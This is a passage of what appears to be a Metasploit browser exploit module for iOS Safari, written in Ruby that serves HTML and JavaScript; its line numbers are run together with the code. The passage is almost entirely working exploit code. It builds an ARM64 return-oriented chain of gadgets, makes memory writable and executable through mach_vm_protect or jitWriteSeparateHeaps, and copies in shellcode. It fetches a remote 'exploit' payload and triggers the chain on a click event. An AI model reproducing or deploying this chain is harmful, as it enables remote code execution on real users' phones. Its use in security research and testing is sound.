x30 (next gadget)835836// in ldrx8837if (x4) {838arr[pos++] = stackloader.lo();839arr[pos++] = stackloader.hi();840} else {841arr[pos++] = dispatch.lo(); // x8 (target for regloader)842arr[pos++] = dispatch.hi(); // x8 (target for regloader)843}844arr[pos++] = 0xdead1401; // (unused)845arr[pos++] = 0xdead1402; // (unused)846arr[pos++] = 0xdead1301; // x20 (unused)847arr[pos++] = 0xdead1302; // x20 (unused)848arr[pos++] = x1.lo(); // x19 == x1 (arg2)849arr[pos++] = x1.hi(); // x19 == x1 (arg2)850arr[pos++] = 0xdead1201; // x29 (unused)851arr[pos++] = 0xdead1202; // x29 (unused)852arr[pos++] = regloader.lo(); // x30 (next gadget)853arr[pos++] = regloader.hi(); // x30 (next gadget)854855// in regloader856// NOTE: REGLOADER DOES NOT ADJUST SP!857// sometimes i didn't get expected value in x4858// and i have no earthly idea why859// usleep likely did the trick, but I would still keep the code860// with movx4861//arr[pos++] = x4.lo() // x4 (should be -- but see lines above)862//arr[pos++] = x4.hi() // x4 (should be -- but see lines above)863864if (x4) {865// in stackloader:866arr[pos++] = 0xdaad0010; // unused867arr[pos++] = 0xdaad0011; // unused868arr[pos++] = 0xdaad0012; // unused869arr[pos++] = 0xdaad0013; // unused870arr[pos++] = 0xdaad1101; // x28 (unused)871arr[pos++] = 0xdaad1102; // x28 (unused)872arr[pos++] = 0xdaad0014; // x27 == x6 (unused)873arr[pos++] = 0xdaad0015; // x27 == x6 (unused)874arr[pos++] = 0xdaad0016; // x26 (unused)875arr[pos++] = 0xdaad0017; // x26 (unused)876arr[pos++] = 0xdaad0018; // x25 (unused)877arr[pos++] = 0xdaad0019; // x25 (unused)878arr[pos++] = 0xdaad00f0; // x24 (unused)879arr[pos++] = 0xdaad00f1; // x24 (unused)880arr[pos++] = 0xdaad00f2; // x23 (unused)881arr[pos++] = 0xdaad00f3; // x23 (unused)882arr[pos++] = 0xdaad00f4; // x22 (unused)883arr[pos++] = 0xdaad00f5; // x22 (unused)884arr[pos++] = func.lo(); // x21 (target for dispatch)885arr[pos++] = func.hi(); // x21 (target for dispatch)886arr[pos++] = 0xdaad0018; // x20 (unused)887arr[pos++] = 0xdaad0019; // x20 (unused)888tmppos = pos;889arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])890arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])891arr[pos++] = 0xdaad001c; // x29 (unused)892arr[pos++] = 0xdaad001d; // x29 (unused)893arr[pos++] = ldrx8.lo(); // x30 (next gadget)894arr[pos++] = ldrx8.hi(); // x30 (next gadget)895896// in ldrx8897arr[pos++] = dispatch.lo(); // x8 (target for movx4)898arr[pos++] = dispatch.hi(); // x8 (target for movx4)899arr[pos++] = 0xdaad1401; // (unused)900arr[pos++] = 0xdaad1402; // (unused)901arr[pos++] = x4.lo(); // x20 == x4 (arg5)902arr[pos++] = x4.hi(); // x20 == x4 (arg5)903arr[pos++] = 0xdaad1301; // x19 (unused)904arr[pos++] = 0xdaad1302; // x19 (unused)905arr[pos++] = 0xdaad1201; // x29 (unused)906arr[pos++] = 0xdaad1202; // x29 (unused)907arr[pos++] = movx4.lo(); // x30 (next gadget)908arr[pos++] = movx4.hi(); // x30 (next gadget)909}910911// after dispatch:912913// keep only one: these or 0xdeaded01914arr[pos++] = 0xdead0022; // unused915arr[pos++] = 0xdead0023; // unused916917arr[pos++] = 0xdead0022; // unused918arr[pos++] = 0xdead0023; // unused919arr[pos++] = 0xdead0024; // x22 (unused)920arr[pos++] = 0xdead0025; // x22 (unused)921arr[pos++] = 0xdead0026; // x21 (unused)922arr[pos++] = 0xdead0027; // x21 (unused)923arr[pos++] = 0xdead0028; // x20 (unused)924arr[pos++] = 0xdead0029; // x20 (unused)925arr[pos++] = 0xdead002a; // x19 (unused)926arr[pos++] = 0xdead002b; // x19 (unused)927arr[pos++] = 0xdead002c; // x29 (unused)928arr[pos++] = 0xdead002d; // x29 (unused)929arr[pos++] = jump_to.lo(); // x30 (gadget)930arr[pos++] = jump_to.hi(); // x30 (gadget)931}932933var add_call = function(func, x0, x1, x2, x3, x4, jump_to) {934x0 = x0 || Int64.Zero935x1 = x1 || Int64.Zero936x2 = x2 || Int64.Zero937x3 = x3 || Int64.Zero938jump_to = jump_to || stackloader939940return (ldrx8 ? add_call_via_x8 : add_call_llvm)(941func, x0, x1, x2, x3, x4, jump_to942)943}944945#{ios_11 ? '946if (jitWriteSeparateHeaps.lo() || jitWriteSeparateHeaps.hi()) {947add_call(jitWriteSeparateHeaps948, Sub(codeAddr, memPoolStart) // off949, paddr // src950, shsz // size951);952} else {953fail("jitWrite");954}955' : '956add_call(mach_vm_protect,957mach_task_self_, // task958codeAddr, // addr959shsz, // size960new Int64(0), // set maximum961new Int64(7) // prot (RWX)962);963964add_call(memmove,965codeAddr, // dst966paddr, // src967shsz // size968);969'}970971add_call(codeAddr,972dlopen,973dlsym,974jitWriteSeparateHeaps,975memPoolStart,976memPoolEnd,977);978979for(var i = 0; i < 0x20; ++i)980{981arr[pos++] = 0xde00c0de + (i<<16);982}983984var sp = Add(stack, (arrsz - off) * 4);985memory.writeInt64(Add(el_addr, 0x60), Add(sp, 0x60)); // x29986memory.writeInt64(Add(el_addr, 0x68), sp); // x2 (copied into sp)987988// trigger989//print("u rdy?")990wrapper.addEventListener("click", function(){});991992}993994#{get_mem_rw}995996function go() {997try {998var req = new XMLHttpRequest;999req.open("GET", "exploit");1000req.responseType = "arraybuffer";1001req.addEventListener("load", function() {1002try {1003if (req.responseType != "arraybuffer") throw "y u no blob";1004payload.set(new Uint8Array(req.response), 0x0);1005pwn();1006} catch (e) {1007fail("Error: " + e + (e != null ? " " + e.stack : ""))1008}1009});1010req.addEventListener("error", function(ev) {1011fail(ev)1012});1013req.send()1014} catch (e) {1015fail("Error: " + e + (e != null ? " " + e.stack : ""))1016}1017};10181019go();10201021</script>1022</body>1023</html>1024^1025unless datastore['DEBUG_EXPLOIT']1026html.gsub!(/\/\/.*$/, '') # strip comments1027html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);1028end1029send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})1030end10311032end103310341035